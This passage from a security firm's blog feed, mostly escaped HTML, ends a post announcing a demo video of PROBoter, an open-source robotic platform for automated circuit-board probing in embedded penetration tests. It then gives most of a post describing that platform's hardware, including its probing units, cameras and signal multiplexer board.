&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">classic&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Computer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Vision&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">algorithms&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">IV:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">voltage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">signal&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">protocol&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">identification&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">V:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">software&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">framework&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;p>Analyzing the security of hardware components is an essential part of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">tests&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">context&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">systems&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. Especially in the domain of automotive security and upcoming autonomous vehicles, vulnerabilities of electronic control units (ECUs) may have severe implications and therefore should be identified early in the development process.&lt;/p>
&lt;p>Typically, the security analysis requires manual probing of pins or other contact pads on the printed circuit boards (PCBs) followed by the attempt to identify signals and respective bus protocols. To increase the efficiency of this hardware analysis and further reduce error-proneness of manual probing steps, we introduce the PROBoter (PROBing roboter) as a novel open-source and self-calibrating architecture for automated PCB analysis as part of a penetration test.&lt;/p>
&lt;p>The PROBoter consists of four independently moving probes assisted by a camera for the detection of pins and contact pads, and an oscilloscope for signal measurement. Several algorithms allow the automatic probing of voltages at detected pins and contact pads, and subsequently try to identify existing bus protocols.&lt;/p>
&lt;p>We evaluated the feasibility of our approach using different PCBs and a self-designed test board for signal generation. Our evaluation shows that the PROBoter can detect and probe respective parts of a PCB with high accuracy and can successfully identify selected bus protocols. Our novel approach provides a significant contribution to the field of PCB analysis by automating manual work and thus increasing the efficiency of penetration tests of embedded systems such as automotive ECUs.&lt;/p>
&lt;p>This video is part of the SecForCARs project’s demo video series. Videos about other parts of the project can be found on the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.youtube.com/channel/UCGwcmqMzUUrfftdyRLQEKiA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/channel/UCGwcmqMzUUrfftdyRLQEKiA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">YouTube&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/channel/UCGwcmqMzUUrfftdyRLQEKiA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">channel.&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;link rel="stylesheet" href="/css/lightbox.css">&lt;/link>
&lt;script type="text/javascript" src="/js/lightbox.js">&lt;/script>
&lt;style>
.shortcode-youtube {
position: relative;
display: inline-block;
}
.shortcode-youtube::before,
.shortcode-youtube::after {
content: "";
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
}
.shortcode-youtube::before {
background: url(media/socialmedia/youtube/youtube_button.svg) center center / auto 4rem no-repeat;
}
.shortcode-youtube:hover::before {
background: url(media/socialmedia/youtube/youtube_button_hover.svg) center center / auto 4rem no-repeat;
}
.shortcode-youtube::after {
background: url(media/socialmedia/youtube/youtube.svg) calc(100% - 1rem) calc(100% - 1rem) / auto 2rem no-repeat;
}
.shortcode-youtube img {
display: block;
}
&lt;/style>
&lt;a
class="shortcode-youtube"
href="https://www.youtube.com/watch?v=TYEjZA-xbGo"
title="Play Youtube video"
target="_blank" rel="noopener">
&lt;img src="/blog/proboter-video/proboter-video-youtube-hint.png" alt="Youtube video TYEjZA-xbGo" />
&lt;/a>
&lt;p>&lt;br />&lt;br />
For further details, please see:&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/tags/proboter"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/tags/proboter"
class="link-background inline split"
>
&lt;span class="link-label">blog&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/tags/proboter"
class="link-background inline split"
>
&lt;span class="link-label">post&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/tags/proboter"
class="link-background inline split"
>
&lt;span class="link-label">series&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>PROBoter Github repo: &lt;a href="https://github.com/schutzwerk/PROBoter">https://github.com/schutzwerk/PROBoter&lt;/a>&lt;/li>
&lt;li>PROBoter paper: &lt;a href="https://doi.org/10.13154/294-8348">https://doi.org/10.13154/294-8348&lt;/a>&lt;/li>
&lt;li>SecForCARs website: &lt;a href="https://www.secforcars.de">https://www.secforcars.de&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>The PROBoter hardware platform</title><link>https://www.schutzwerk.com/en/blog/proboter-02/</link><author>Fabian Weber</author><pubDate>Wed, 02 Feb 2022 13:37:00 +0100</pubDate><category>proboter</category><category>embedded security</category><category>secforcars</category><category>toolrelease</category><description>
&lt;p>The list below gives an overview of the topics covered in this blog post
series. Links will be updated as soon as the corresponding parts are being
released.&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">I:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">A&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">II:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">III:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Visual&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">with&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Neural&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Networks&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">classic&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Computer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Vision&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">algorithms&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">IV:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">voltage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">signal&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">protocol&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">identification&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">V:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">software&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">framework&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">first&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of the PROBoter series gave an introduction to the manual process
of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">system&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">pentesting&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. It then showed a possible automated workflow
which will be implemented in the form of the PROBoter platform. After a longer
phase of further internal development and evaluation, this post
describes the core component of the PROBoter framework - a hardware platform
for automated electrical probing and PCB image generation. The following list
summarizes the key features of the PROBoter hardware platform:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Four autonomous, movable electrical probing units&lt;/strong> with a positional
accuracy in the PCB plane of 0.1 mm&lt;/li>
&lt;li>Working area of the electrical probing units of &lt;strong>300 x 200 x 30 mm (XYZ)&lt;/strong>&lt;/li>
&lt;li>A &lt;strong>static camera system&lt;/strong> for initial PCB triage&lt;/li>
&lt;li>A &lt;strong>movable camera system&lt;/strong> to generate stitched, high-resolution PCB images with
a resolution of 0.1 mm per pixel&lt;/li>
&lt;li>A &lt;strong>newly designed signal multiplexer board&lt;/strong> that allows flexible signal
routing, basic measurements like continuity tests and easy adaption of
additional measurement and analysis equipment&lt;/li>
&lt;li>An &lt;strong>auto-calibration routine&lt;/strong> that can compensate typical errors resulting from
manufacturing or assembling errors&lt;/li>
&lt;li>&lt;strong>Open source design&lt;/strong>. The 3D construction data of the platform can be found
in the PROBoter Github repository: &lt;a href="https://github.com/schutzwerk/PROBoter/">https://github.com/schutzwerk/PROBoter/&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="a-flying-probe-tester-for-pentesters">A Flying Probe Tester for Pentesters&lt;/h2>
&lt;p>The design of the PROBoter hardware platform is inspired by commercial &lt;em>Flying
Probe Testers (FPT)&lt;/em>. These types of machines are used since the 1980s by PCB
manufacturers to ensure the proper functionality of their products at the end
of the production line. FPTs are equipped with many, typically up to 8, moving
electrical probes which can be freely placed on the PCB under test. The probe
movements can be programmed so that the testing routine can be easily adjusted
if the board layout changes.&lt;/p>
&lt;!-- Properties of a Flying probe tester -->
&lt;p>FPTs are highly optimized for accuracy and testing speed. They use high-speed
drives to move the electrical probes in combination with high-precision
absolute positioning systems to ensure high positional accuracy. To also allow
visual board inspection, for example to detect missing or misplaced parts, FPTs
are usually equipped with at least one camera system. The price for such
machines typically starts at multiple 10k€ and can go up to several 100k€
depending on the ordered machine configuration. Most vendors of FPTs also
provide the software to program and control these machines. The software is
mostly closed source and extensions can only be provided by or be developed in
cooperation with the manufacturer.&lt;/p>
&lt;!-- Why a new platform -->
&lt;p>In contrast to commercial FPTs, the developed PROBoter hardware platform is
completely open source. The construction data and 3D models can be found in the
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repository&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[1].
The mechanical construction was designed from scratch and is based on standard
parts that are widely used in state of the art 3D printers. Customized, highly
integrated and complex parts are laid out as 3D printable plastic parts. These
concepts lead to reduced manufacturing costs and make the replication of the
platform affordable for a wide audience. In total, the raw material costs of
our assembled prototype of the PROBoter hardware platform added up to around
5000€.&lt;/p>
&lt;h3 id="design">Design&lt;/h3>
&lt;!-- Introduction and main concepts -->
&lt;p>One of the key concept of the PROBoter hardware platform is modularity. The
platform can carry up to four probing units which can be added to the platform
individually. Therefore, it is possible to start with a minimal setup with only
two probes to perform basic tasks like reverse engineering of electrical nets
and later add more probes to automate more complex tasks like I2C or SPI bus
sniffing with up to four probes.&lt;/p>
&lt;p>The following image shows a 3D rendering of the current platform design fully
equipped with four electrical probing units. As main camera system the current
design uses a USB microscope that is attached to one of the four probing
units. In addition, a stationary high-resolution camera is mounted at the top
of the platform. The individual components will be described in more detail in
the following subsections.&lt;/p>
&lt;figure
style=""
>
&lt;img
src="/en/blog/proboter-02/hardware_platform_rendering.svg"alt="PROBoter hardware rendering"/>&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
PROBoter hardware rendering&lt;/figcaption>&lt;/figure>
&lt;p>To perform real world tests and evaluations, a prototype of the hardware
platform has been built. The image below shows this prototype currently located
in our headquarter in Ulm, Germany. If you want to see the prototype in action, check
out our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video.&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
The video is part of the
SecForCARs project&amp;rsquo;s demo video series, videos about other parts of the project can be found on the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.youtube.com/channel/UCGwcmqMzUUrfftdyRLQEKiA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/channel/UCGwcmqMzUUrfftdyRLQEKiA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">YouTube&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/channel/UCGwcmqMzUUrfftdyRLQEKiA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">channel&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[2].&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/proboter_real_hardware_1_hu3bd5442adcbd016fa1ddbc7aa2548047_859056_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/proboter_real_hardware_1_hu3bd5442adcbd016fa1ddbc7aa2548047_859056_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/proboter_real_hardware_1_hu3bd5442adcbd016fa1ddbc7aa2548047_859056_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-02/proboter_real_hardware_1.png"
width="2241"
height="1387"
alt="Prototype of the PROBoter hardware platform"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Prototype of the PROBoter hardware platform&lt;/figcaption>
&lt;/figure>
&lt;h4 id="base">Base&lt;/h4>
&lt;p>The base of the PROBoter hardware platform is a frame built of aluminum
profiles. It carries a drawer that allows the comfortable placement of the PCB
under test outside the machine. At the top, two laser-cut steel plates
together with two 60 x 30 mm aluminum profiles form a frame that carries the
linear guiding rails for the X axis slides. The X axis uses a profile rail
guide which is shared between all probing units. It is driven by
stepper motors and a synchronous belt in a Gantry setup. This means that each
X axis is moved by two synchronized motors.&lt;/p>
&lt;h4 id="electrical-probing-unit">Electrical Probing Unit&lt;/h4>
&lt;p>The PROBoter platform is designed to carry up to four electrical probes. Each
probe is carried by a probing unit that is driven by three linear drives. The
drives are stacked orthogonally to allow a full 3-dimensional movement of the
probe. The image below shows the construction and individual parts of a single
probing unit.&lt;/p>
&lt;figure
style=""
>
&lt;img
src="/en/blog/proboter-02/probe_unit_rendering.svg"alt="Movable electrical probing unit"/>&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Movable electrical probing unit&lt;/figcaption>&lt;/figure>
&lt;p>Each unit has a probing volume of 300 x 200 x 30 mm (XYZ) which allows probing
of common PCBs. The units are designed so that even if all four probing units
are installed, it is possible in theory to position all probes at the same
point at the PCB. In the current setup, synchronous belt drives in combination
with NEMA 14 and 17 stepper motors are used in all axes. The mechanical
transmission of the whole drive system allows an absolute positional accuracy
of less than 0.1 mm. This allows probing of TQFP-packaged PCB components with a
typical grid size of 0.5 mm and a pad width of 0.17 mm. The X and Y axis can be
moved with a speed of max. 100 mm/s or 6 m/min in theory which allows rapid
movements and sufficient probing speed.&lt;/p>
&lt;p>When started, each axis of a probing unit is homed first. Homing defines the
process of moving each axis to a defined position at one of its traveling
limits. From there on, the current position in each axis is calculated as the
number of moved motor steps multiplied by the mechanical transmission defined
by the intermediate drive components. Currently, no further sensors are used to
track the axes positions to reduce component costs. An ongoing evaluation
phase will show if this open loop control is sufficient to place the probes
with the necessary positional accuracy even in long term use.&lt;/p>
&lt;h4 id="camera-systems">Camera Systems&lt;/h4>
&lt;p>Besides the electrical probe, each probing unit can be equipped with a camera
system. The camera can then be moved in the XY plane together with the probe.
In the current setup, a USB microscope is attached to only one of the inner
probing units. This setup allows the generation of high-resolution PCB image
data with an absolute pixel resolution of approximately 0.1 mm per pixel which
is the same as the accuracy in the probing unit&amp;rsquo;s drive systems. The
high-resolution image generation with the used USB microscope comes with the
costs of a limited field of view. To generate a complete image of the PCB under
test, the camera system is moved along a predefined path constantly capturing
images. From the resulting image data set, the final image can be reconstructed
by applying a final image stitching operation. The image below shows the result
of this stitching operation for an unpopulated test PCB.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/stitched_pcb_image_hu65eff4c8ca67484c121d8d11df83b0a5_665329_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/stitched_pcb_image_hu65eff4c8ca67484c121d8d11df83b0a5_665329_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/stitched_pcb_image_hu65eff4c8ca67484c121d8d11df83b0a5_665329_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-02/stitched_pcb_image.png"
width="1200"
height="960"
alt="Stitched PCB image generated with the movable camera system"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Stitched PCB image generated with the movable camera system&lt;/figcaption>
&lt;/figure>
&lt;p>An additional static camera system is mounted at the top of the hardware
platform. It can be used for initial triage of the PCB under test. Because the
field of view of this camera system covers the whole probing area, the
generated images are free of stitching artifacts. However, the absolute mm per
pixel resolution is limited. Therefore, for macro views the USB microscope is
the preferred image source.&lt;/p>
&lt;p>To reduce shadows in the generated PCB images, the platform provides a uniform
and diffuse light source through a white LED strip that illuminates the working
area.&lt;/p>
&lt;h3 id="signal-multiplexer-board">Signal Multiplexer Board&lt;/h3>
&lt;p>Even though the electrical probing units can be freely moved in 3D space, there
are some movement constraints in the X axis. Because of the shared X guiding
system, the probe order is fixed in this direction. Due to this limitation, analysis tools
like digital oscilloscopes or other common tools used for embedded
system penetration testing like UART to USB adapters or a
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.grandideastudio.com/jtagulator/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">JTAGulator&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[3], are not directly
connected to the probe signal lines. Instead, these tools are connected to a signal
multiplexer board developed at SCHUTZWERK. This board allows flexible
routing of signals from the electrical probes to a set of analog or digital
outputs. The signal multiplexer can be controlled manually or automated via a
text-based control interface exposed over a serial interface.&lt;/p>
&lt;p>In addition to signal routing, the board also offers digital to analog
conversion functionality. Basic tests like continuity tests can also be
performed between two arbitrary signal lines. Therefore, even without
additional tools, the PROBoter hardware platform can be used to perform typical
time-consuming tasks like electrical net reverse engineering.&lt;/p>
&lt;h4 id="control-logic">Control Logic&lt;/h4>
&lt;p>The movements of a single electrical probing unit is controlled by a modified
version of the open source 3D printer firmware
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/MarlinFirmware/Marlin"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Marlin&lt;/span>
&lt;/a>
&lt;/span>
